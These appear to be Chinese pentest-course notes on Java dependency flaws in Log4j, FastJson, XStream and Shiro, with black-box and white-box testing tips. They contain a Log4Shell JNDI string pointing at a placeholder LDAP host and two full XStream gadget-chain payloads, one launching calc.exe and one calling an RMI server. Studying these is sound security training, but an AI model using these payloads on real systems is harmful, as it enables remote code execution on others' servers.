1、安全开发-JavaEE-第三方依赖开发安全
2、安全开发-JavaEE-数据转换&FastJson&XStream
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理
一、Log4j
一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
1、Maven引用
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
2、接受输入值
3、Log4j错误处理
String code="${java:os}";
log.error("{}",code);
4、Jndi注入RCE执行
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
logger.error("{}",exp);
演示:2.14.1版本
结论:尝试输出日志时可利用JNDI注入触发RCE
利用:黑盒在各种地方插入 白盒看哪里有调用(见图)
黑盒:打开一个网页,看到有上传参数的点,无脑上传log4j的payload,因为不知道代码,也不知道是哪里接受恶意参数,只能无脑上传来测试
白盒:做代码审计看哪里调用了,会引发log4j漏洞的地方
参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA
二、FastJson不同版本漏洞不一样
一个阿里巴巴开发的Java库,提供了Java对象与JSON相互转换。
1、fastjson1.2.24的漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
2、fastjson1.2.25的漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
3、序列化方法:
JSON.toJSONString(),返回字符串;
JSON.toJSONBytes(),返回byte数组;
4、反序列化方法:
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString();
6、常用:
JSON.toJSONString(),JSON.parse(),JSON.parseObject()
7、演示:1.2.24及1.2.25版本
结论:反序列化时会调用类里的get及set方法
利用:已知类的调用方法 自带类的调用链固定版本的CVE(见图)
黑盒:
①看抓包报错,url访问报错,工具扫描等,能不能暴露astjson及其版本
②前提是Java写的应用,看burpsuite数据包传递JSON数据,尝试用payload替换json数据,无脑payload
白盒:java调用fastjson库,并知道版本,代码审计看调用方法如parse(),parseObject()和可控变量
参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ
三、XStream
一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。
1、Xstream1.4.5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version>
</dependency>
2、Xstream1.4.15
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
3、序列化Car类:
Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);
4、反序列化Car类:
String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);
结论:反序列化时会调用类里的readObject方法(类需继承接口)
参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A
5、已知类的调用方法:(也就是上面的Car类被序列化反序列化,且继承了serializable,类中有readObject方法->:下面的payload才生效,条件比较苛刻)
String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +
" <com.example.xstreamdemo.Car>\n" + //Car类,继承了serializable,类中有readObject方法
" <default>\n" +
" <price>4000000</price>\n" +
" <name>Ferrari</name>\n" +
" </default>\n" +
" </com.example.xstreamdemo.Car>\n" +
"</com.example.xstreamdemo.Car>";
6、自带类的调用链固定版本的CVE:
①适用xstream1.4.5版本,不适用xstream1.4.15版本,
String payload = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
②适用xstream1.4.15版本
String poc="<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +
" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +
" <packet>\n" +
" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +
" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +
" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +
" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +
" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +
" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +
" <uriProperties/>\n" +
" <attributeProperties/>\n" +
" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +
" <getter>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </getter>\n" +
" </inheritedAttWildcard>\n" +
" </bi>\n" +
" <tagName/>\n" +
" <context>\n" +
" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +
" <outer-class reference='../..'/>\n" +
" </marshallerPool>\n" +
" <nameList>\n" +
" <nsUriCannotBeDefaulted>\n" +
" <boolean>true</boolean>\n" +
" </nsUriCannotBeDefaulted>\n" +
" <namespaceURIs>\n" +
" <string>1</string>\n" +
" </namespaceURIs>\n" +
" <localNames>\n" +
" <string>UTF-8</string>\n" +
" </localNames>\n" +
" </nameList>\n" +
" </context>\n" +
" </bridge>\n" +
" </bridge>\n" +
" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" + //该payload需在此处生成JNDI的注入语句
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <string>foo</string>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </jaxbObject>\n" +
" </dataSource>\n" +
" </message>\n" +
" <satellites/>\n" +
" <invocationProperties/>\n" +
" </packet>\n" +
" </indexMap>\n" +
" </comparator>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
特别注意:
以上payload用到了JNDI注入,该注入也有版本限制(这个版本限制指的是java运行程序使用的jdk版本限制)->造成我们白盒/黑盒发现了该Java代码使用xstream组件,也知道该组件的版本,并从网上找到了该版本xstream的payload->但是payloa执行不成功->分析:很有可能是jkd版本不对(该paoload里面有JNDI注入,该注入受jdk版本限制)
黑盒:
①看抓包报错,url访问报错,工具扫描等,能不能暴露Xstream及其版本
②前提是Java写的应用,看burpsuite数据包传递XML数据,尝试用payload替换jxml数据,无脑payload
白盒:看调用方法和可控变量
四、Shiro
一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。
开发技术:利用AI提示写一个
结论:配置不当或版本安全漏洞
利用:固定版本的CVE利用(见图)
黑盒:看身份验证数据包->是否有关键字Rememberme->判定网站使用了shiro
白盒:看版本及安全问题
参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag